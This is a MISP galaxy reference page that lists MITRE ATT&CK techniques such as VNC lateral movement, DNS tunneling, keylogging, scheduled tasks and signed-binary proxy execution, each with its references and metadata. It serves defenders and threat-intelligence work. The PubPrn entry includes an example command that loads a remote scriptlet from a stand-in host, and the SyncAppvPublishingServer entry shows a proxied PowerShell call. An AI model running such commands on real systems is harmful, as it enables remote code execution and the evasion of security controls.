UUID 01327cde-66c4-4123-bf34-5f258d59457b which can be used as unique global reference for VNC - T1021.005 in MISP communities and other software using the MISP galaxy
External references
- http://lists.openstack.org/pipermail/openstack/2013-December/004138.html - webarchive
- https://attack.mitre.org/techniques/T1021/005 - webarchive
- https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2 - webarchive
- https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207 - webarchive
- https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in - webarchive
- https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication - webarchive
- https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc - webarchive
- https://pentestlab.blog/2012/10/30/attacking-vnc-servers/ - webarchive
- https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins - webarchive
- https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac - webarchive
- https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/ - webarchive
- https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/ - webarchive
- https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.005 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement', 'attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Steganography - T1406.001
Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.
Internal MISP references
UUID fa801609-ca8e-415e-815e-65f3826ff4df which can be used as unique global reference for Steganography - T1406.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1406.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
DNS - T1071.004
Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)
Internal MISP references
UUID 1996eef1-ced3-4d7f-bf94-33298cabbf72 which can be used as unique global reference for DNS - T1071.004 in MISP communities and other software using the MISP galaxy
External references
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1071/004 - webarchive
- https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000 - webarchive
- https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1071.004 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Keylogging - T1056.001
Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:
- Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.
- Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)
Internal MISP references
UUID 09a60ea3-a8d1-4ae5-976e-5783248b72a4 which can be used as unique global reference for Keylogging - T1056.001 in MISP communities and other software using the MISP galaxy
External references
- http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf - webarchive
- https://attack.mitre.org/techniques/T1056/001 - webarchive
- https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html - webarchive
- https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1056.001 |
| kill_chain | ['attack-Windows:collection', 'attack-macOS:collection', 'attack-Linux:collection', 'attack-Network:collection', 'attack-Windows:credential-access', 'attack-macOS:credential-access', 'attack-Linux:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'Network'] |
Related clusters
To see the related clusters, click here.
PowerShell - T1059.001
Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.(Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)
Internal MISP references
UUID 970a3432-3237-47ad-bcca-7d8cbb217736 which can be used as unique global reference for PowerShell - T1059.001 in MISP communities and other software using the MISP galaxy
External references
- http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - webarchive
- https://attack.mitre.org/techniques/T1059/001 - webarchive
- https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ - webarchive
- https://github.com/jaredhaight/PSAttack - webarchive
- https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/ - webarchive
- https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx - webarchive
- https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367 - webarchive
- https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ - webarchive
- https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.001 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Process: Process Metadata', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
At - T1053.002
Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.(Citation: Linux at)
Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).
In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
Internal MISP references
UUID f3d95a1f-bba2-44ce-9af7-37866cd63fd0 which can be used as unique global reference for At - T1053.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1053/002 - webarchive
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - webarchive
- https://gtfobins.github.io/gtfobins/at/ - webarchive
- https://man7.org/linux/man-pages/man1/at.1p.html - webarchive
- https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://technet.microsoft.com/library/dd315590.aspx - webarchive
- https://twitter.com/leoloobeek/status/939248813465853953 - webarchive
- https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053.002 |
| kill_chain | ['attack-Windows:execution', 'attack-Linux:execution', 'attack-macOS:execution', 'attack-Windows:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Steganography - T1027.003
Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.
Duqu was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)
By the end of 2017, a threat group used Invoke-PSImage to hide PowerShell commands in an image file (.png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)
Internal MISP references
UUID c2e147a9-d1a8-4074-811a-d8789202d916 which can be used as unique global reference for Steganography - T1027.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.003 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
AppleScript - T1059.002
Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)
AppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS Native APIs NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.
Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.(Citation: Macro Malware Targets Macs)
Internal MISP references
UUID 37b11151-1776-4f8f-b328-30939fbf2ceb which can be used as unique global reference for AppleScript - T1059.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1059/002 - webarchive
- https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html - webarchive
- https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/ - webarchive
- https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/ - webarchive
- https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.002 |
| kill_chain | ['attack-macOS:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
DNS - T1590.002
Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)
Adversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS. DNS information may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Active Scanning), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).
Internal MISP references
UUID 0ff59227-8aa8-4c09-bf1f-925605bd07ea which can be used as unique global reference for DNS - T1590.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1590.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Cron - T1053.003
Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.
Internal MISP references
UUID 2acf44aa-542f-4366-b4eb-55ef5747759c which can be used as unique global reference for Cron - T1053.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053.003 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Launchd - T1053.004
This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
Internal MISP references
UUID 8faedf87-dceb-4c35-b2a2-7286f59a3bc3 which can be used as unique global reference for Launchd - T1053.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053.004 |
| kill_chain | ['attack-macOS:execution', 'attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Python - T1059.006
Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)
Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
Internal MISP references
UUID cc3502b5-30cc-4473-ad48-42d51a6ef6d1 which can be used as unique global reference for Python - T1059.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.006 |
| kill_chain | ['attack-Linux:execution', 'attack-Windows:execution', 'attack-macOS:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
JavaScript - T1059.007
Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)
JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)
Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.
Internal MISP references
UUID 0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d which can be used as unique global reference for JavaScript - T1059.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1059/007 - webarchive
- https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html - webarchive
- https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript - webarchive
- https://docs.microsoft.com/scripting/winscript/windows-script-interfaces - webarchive
- https://docs.microsoft.com/windows/win32/com/translating-to-jscript - webarchive
- https://nodejs.org/ - webarchive
- https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 - webarchive
- https://redcanary.com/blog/clipping-silver-sparrows-wings/ - webarchive
- https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/ - webarchive
- https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.007 |
| kill_chain | ['attack-Windows:execution', 'attack-macOS:execution', 'attack-Linux:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Regsvr32 - T1218.010
Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)
Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)
Internal MISP references
UUID b97f1d35-4249-4486-a6b5-ee60ccf24fab which can be used as unique global reference for Regsvr32 - T1218.010 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/010 - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ - webarchive
- https://support.microsoft.com/en-us/kb/249873 - webarchive
- https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ - webarchive
- https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.010 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Confluence - T1213.001
Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:
- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
Internal MISP references
UUID 7ad38ef1-381a-406d-872a-38b136eb5ecc which can be used as unique global reference for Confluence - T1213.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1213.001 |
| kill_chain | ['attack-SaaS:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation'] |
| mitre_platforms | ['SaaS'] |
Related clusters
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PubPrn - T1216.001
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
Internal MISP references
UUID 09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58 which can be used as unique global reference for PubPrn - T1216.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1216.001 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
MSBuild - T1127.001
Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)
Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)
Internal MISP references
UUID c92e3d68-2349-49e4-a341-7edca2deff96 which can be used as unique global reference for MSBuild - T1127.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1127/001 - webarchive
- https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - webarchive
- https://msdn.microsoft.com/library/dd393574.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1127.001 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Keylogging - T1417.001
Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.
Some methods of keylogging include:
- Masquerading as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.
- Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an
AccessibilityServiceclass, overriding theonAccessibilityEventmethod, and listening for theAccessibilityEvent.TYPE_VIEW_TEXT_CHANGEDevent type. The event object passed into the function will contain the data that the user typed. *Additional methods of keylogging may be possible if root access is available.
Internal MISP references
UUID b1c95426-2550-4621-8028-ceebf28b3a47 which can be used as unique global reference for Keylogging - T1417.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1417.001 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Sharepoint - T1213.002
Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:
- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
Internal MISP references
UUID 0c4b4fda-9062-47da-98b9-ceae2dcf052a which can be used as unique global reference for Sharepoint - T1213.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1213.002 |
| kill_chain | ['attack-Windows:collection', 'attack-Office-365:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Related clusters
To see the related clusters, click here.
SyncAppvPublishingServer - T1216.002
Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious PowerShell commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)
The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from \System32 through the command line via wscript.exe.(Citation: 4 - appv)(Citation: 5 - appv)
Adversaries may abuse SyncAppvPublishingServer.vbs to bypass PowerShell execution restrictions and evade defensive counter measures by "living off the land."(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking powershell.exe.(Citation: 7 - appv)
For example, PowerShell commands may be invoked using:(Citation: 5 - appv)
SyncAppvPublishingServer.vbs "n; {PowerShell}"
Internal MISP references
UUID e6f19759-dde3-47fc-99cc-d9f5fa4ade60 which can be used as unique global reference for SyncAppvPublishingServer - T1216.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1216/002 - webarchive
- https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started - webarchive
- https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/ - webarchive
- https://securelist.com/bluenoroff-methods-bypass-motw/108383/ - webarchive
- https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html - webarchive
- https://twitter.com/monoxgas/status/895045566090010624 - webarchive
- https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/ - webarchive
- https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1216.002 |
| kill_chain | ['attack-Windows:defense-evasion'] |
